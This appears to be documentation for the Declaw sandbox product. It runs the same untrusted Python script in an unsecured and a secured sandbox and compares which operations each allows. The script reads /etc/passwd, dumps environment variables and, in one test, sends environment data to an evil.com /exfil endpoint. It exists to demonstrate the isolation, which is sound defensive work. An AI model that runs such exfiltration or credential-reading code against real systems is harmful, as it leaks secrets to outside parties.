What You’ll Learn
- The baseline protection you get from Firecracker isolation alone (the “unsecured” sandbox)
- What additional protection a full
SecurityPolicy adds (the “secured” sandbox)
- A concrete side-by-side comparison of eight operations across both sandboxes
- When to use basic isolation vs full security policies
Prerequisites
- Declaw running locally or in the cloud (see Deployment)
DECLAW_API_KEY and DECLAW_DOMAIN set in your environment
This example is available in Python. TypeScript support coming soon.
The Untrusted Script
Both sandboxes run exactly the same script. It tests five operations that could be dangerous if run on the host:
UNTRUSTED_SCRIPT = """\
import os, json, socket
# Test 1: Read /etc/passwd
try:
with open("/etc/passwd") as f:
lines = f.read().strip().split("\\n")
print(f"Test 1 (read /etc/passwd): Read {len(lines)} lines")
except Exception as e:
print(f"Test 1 (read /etc/passwd): FAILED ({e})")
# Test 2: Access environment variables
env_vars = dict(os.environ)
print(f"Test 2 (env vars): Found {len(env_vars)} variables")
for key in sorted(env_vars.keys())[:5]:
print(f" {key}={env_vars[key][:40]}")
# Test 3: Write to /tmp
try:
with open("/tmp/untrusted_output.txt", "w") as f:
f.write("data from untrusted code")
print("Test 3 (write /tmp): Write succeeded")
except Exception as e:
print(f"Test 3 (write /tmp): FAILED ({e})")
# Test 4: Network connectivity
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(("1.1.1.1", 80))
s.close()
print("Test 4 (network): CONNECTED")
except Exception as e:
print(f"Test 4 (network): BLOCKED ({e})")
# Test 5: Exfiltrate data
stolen = json.dumps({"env": list(env_vars.keys())[:3]})
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(("93.184.216.34", 80))
s.sendall(f"POST /exfil HTTP/1.1\\r\\nHost: evil.com\\r\\n\\r\\n{stolen}".encode())
s.close()
print("Test 5 (exfiltrate): Data sent")
except Exception as e:
print(f"Test 5 (exfiltrate): BLOCKED ({e})")
"""
The Two Sandboxes
Unsecured sandbox (baseline)
from declaw import Sandbox
unsecured_sbx = Sandbox.create(template="python", timeout=300)
No security policy. Network access is allowed by default. This represents the minimum you get from Declaw — Firecracker microVM isolation.
Secured sandbox (full protection)
from declaw import Sandbox, SecurityPolicy, PIIConfig, InjectionDefenseConfig, AuditConfig
secured_policy = SecurityPolicy(
pii=PIIConfig(
enabled=True,
types=["email", "ssn", "credit_card", "api_key"],
action="redact",
),
injection_defense=InjectionDefenseConfig(
enabled=True,
sensitivity="high",
action="block",
),
audit=AuditConfig(
enabled=True,
log_request_body=True,
log_response_body=True,
),
)
secured_sbx = Sandbox.create(
template="python",
timeout=300,
security=secured_policy,
allow_internet_access=False,
)
Side-by-Side Comparison
| Operation | Unsecured Sandbox | Secured Sandbox | Explanation |
|---|
Read /etc/passwd | Succeeds | Succeeds | Both read the sandbox’s /etc/passwd, not the host’s |
| Access env vars | Succeeds | Succeeds | Both see only sandbox env vars — no host secrets |
Write to /tmp | Succeeds | Succeeds | Both can write; files are ephemeral and destroyed on kill |
| Network connectivity | Connected | Blocked | Secured sandbox blocks all outbound via deny-all |
| Data exfiltration | Data sent | Blocked | Secured sandbox cannot send data out |
| PII in HTTP traffic | Not redacted | Redacted | Secured sandbox strips credentials from HTTP bodies |
| Injection payloads | Not detected | Blocked | Secured sandbox blocks injection attempts |
| Audit trail | None | Full log | Secured sandbox logs all requests/responses |
Running Both Sandboxes
def run_in_sandbox(sbx: Sandbox) -> str:
sbx.files.write("/tmp/untrusted.py", UNTRUSTED_SCRIPT)
result = sbx.commands.run("python3 /tmp/untrusted.py", timeout=20)
return result.stdout
try:
print("--- UNSECURED Sandbox ---")
print(run_in_sandbox(unsecured_sbx))
print("--- SECURED Sandbox ---")
print(run_in_sandbox(secured_sbx))
finally:
unsecured_sbx.kill()
secured_sbx.kill()
Expected Output
--- Running Untrusted Script in UNSECURED Sandbox ---
Test 1 (read /etc/passwd): Read 32 lines
Test 2 (env vars): Found 11 variables
HOME=/root
PATH=/usr/local/sbin:...
Test 3 (write /tmp): Write succeeded
Test 4 (network): CONNECTED
Test 5 (exfiltrate): Data sent
--- Running Untrusted Script in SECURED Sandbox ---
Test 1 (read /etc/passwd): Read 32 lines
Test 2 (env vars): Found 11 variables
HOME=/root
PATH=/usr/local/sbin:...
Test 3 (write /tmp): Write succeeded
Test 4 (network): BLOCKED ([Errno 110] Connection timed out)
Test 5 (exfiltrate): BLOCKED ([Errno 110] Connection timed out)
--- Side-by-Side Comparison ---
Read /etc/passwd Both Both read sandbox's /etc/passwd, not the host's.
Environment variables Both Both see sandbox env vars. Host secrets never exposed.
Write to /tmp Both Both can write. Files destroyed with the sandbox.
Network connectivity Unsecured ONLY Secured sandbox blocks all outbound via deny-all policy.
Data exfiltration Unsecured ONLY Secured sandbox cannot send data out.
PII in HTTP traffic N/A vs Redacted Secured sandbox redacts PII in any allowed HTTP traffic.
Injection payloads N/A vs Blocked Secured sandbox blocks injection attempts in API calls.
Audit trail No vs Yes Secured sandbox logs all requests/responses for review.
Key Takeaways
1. Firecracker isolation (both sandboxes):
Even the “unsecured” sandbox runs inside a Firecracker microVM. This provides hardware-level process isolation, a separate filesystem, and no access to host resources. The /etc/passwd that malicious code reads is the sandbox’s — not yours. This is the baseline protection you get from any Declaw sandbox.
2. Defense-in-depth (secured sandbox only):
The security policy adds multiple independent layers on top of Firecracker isolation:
- Network deny-all: no outbound connections at all
- PII redaction: credentials stripped from HTTP traffic
- Injection defense: malicious prompts blocked before reaching APIs
- Audit logging: full visibility into what the code tried to do
3. Choose your protection level:
| Code Trust Level | Recommended Configuration |
|---|
| Trusted code, no external access | Sandbox.create(allow_internet_access=False) |
| Trusted code, controlled external access | Sandbox.create(network={"allow_out": [...]}) |
| Untrusted code | Add SecurityPolicy with PII + injection defense |
| High-security / compliance | Full stack: PII + injection + network + audit |